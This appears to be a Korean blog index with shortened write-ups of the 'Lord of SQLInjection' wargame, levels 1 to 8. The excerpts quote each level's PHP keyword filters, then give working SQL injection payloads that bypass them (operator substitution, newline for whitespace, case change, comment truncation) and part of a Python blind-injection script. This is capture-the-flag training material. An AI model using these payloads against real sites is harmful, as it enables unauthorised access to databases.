본문 바로가기

반응형

분류 전체보기

(185)
Lord of SQLInjection 8번 troll https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 8번 troll if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); 이번 문제는 '와 admin이 필터링 되어있다. 처음에 admin을 hex값으로 넣어보았지만 실패했다... admin우회기법을 검색해보면 단순문자열필터링 취약점으로 대소문자를 구분하지 않는다. ?id=Admin
Lord of SQLInjection 7번 orge https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 7번 orge 필터링은 or과 and가 걸려있고, pw를 검증하는 걸로 보아 정확한 pw를 찾아야 한다. orc문제에서 or와 and를 우회해서 쓰면 된다. pw 자릿수 구하기 import requests import re url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php" cookies={"PHPSESSID":"세션"} for i in range(0,10): pay=f"?pw='|| id='admin'%26%26length(pw)={i};%23" #pw 길이 비교 res=reque..
Lord of SQLInjection 6번 darkelf https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 6번 darkelf if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); or 와 and가 필터링이 되었다. or 우회기법 ==> || and 우회기법 ==> %26%26 ?pw=%27%20||%20%271%27=%271%27%20%26%26%20id=%27admin%27%23 pw='' or '1'='1' and id='admin' 저번 문제와 똑같은 방식을 썼지만 여기서 or와 and만 바꾸면 된다. pw='' || '1'='1' && id='admin'#'
Lord of SQLInjection 5번 wolfman https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 5번 wolfman if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 기존 필터링에서 공백이 추가되었다. 공백 우회기법은 %0a를 입력하면 된다. %0a는 현재위치에서 다음 줄로 이동시키는 개행 문자이다. ?pw=%27%0aor%0a%271%27=%271%27%0aand%0aid=%27admin id='guest' and pw='' or '1'='1' and id='admin' false and false or true and true false or true true
Lord of SQLInjection 4번 orc https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 4번 orc if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 이전 문제에서는 id가 admin일때 문제가 해결되었지만 이번문제는 id가 admin일때 pw값을 직접 비교한다. 즉, pw값을 정확히 알아내야 하는 문제이다. Blind SQLInjection으로 해결할 수 있다. 우선 코드에서 length가 필터링이 안 되어있으므로 pw의 길이를 알아낼수 있다. pw=''or length(pw)>5;#' length 구문이 참인지 거짓인지를 Hello admin이라는 문자열로 알려준다. pw는 5..
Lord of SQLInjection 3번 goblin https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 3번 goblin if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 2번문제에서 필터링이 더 추가되었다. prob _ . () ' " ` 이번문제에서는 싱글쿼터와 더블쿼터를 사용할 수 없으며 no는 숫자만 입력이 가능하다. if($result['id'] == 'admin') solve("goblin"); id가 admin이면 문제가 해결된다. 하지만 현재 id는 guest로 나와있다..
Lord of SQLInjection 2번 cobolt https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 2번 cobolt - $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 1번 문제와 필터링은 같지만 pw는 md5로 암호화를 한다. - if($result['id'] == 'admin') solve("cobolt"); id가 admin이면 조건이 만족하므로 admin 뒤에 주석처리를 하면 해결할 수 있다. ?id=admin%27%23 id='admin'#'을 적게 되면 pw는 주석처리가 되어 검증을 하지 않기 때문에 결국 참이 된다. 또 다른 방법은 or문이다..
Lord of SQLInjection 1번 gremlin https://los.rubiya.kr/ Lord of SQLInjection los.rubiya.kr Lord of SQLInjection 1번 gremlin if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); preg_match 함수 : php에서 정규표현식 패턴이 일치하는지 검색하여 반환하는 함수 첫번째 인수= 필터링, 두번째 인수= 검색 대상 문자열 id와 pw 둘다 같은 조건으로 필터링이 되어있다. 필터링 => prob ..

반응형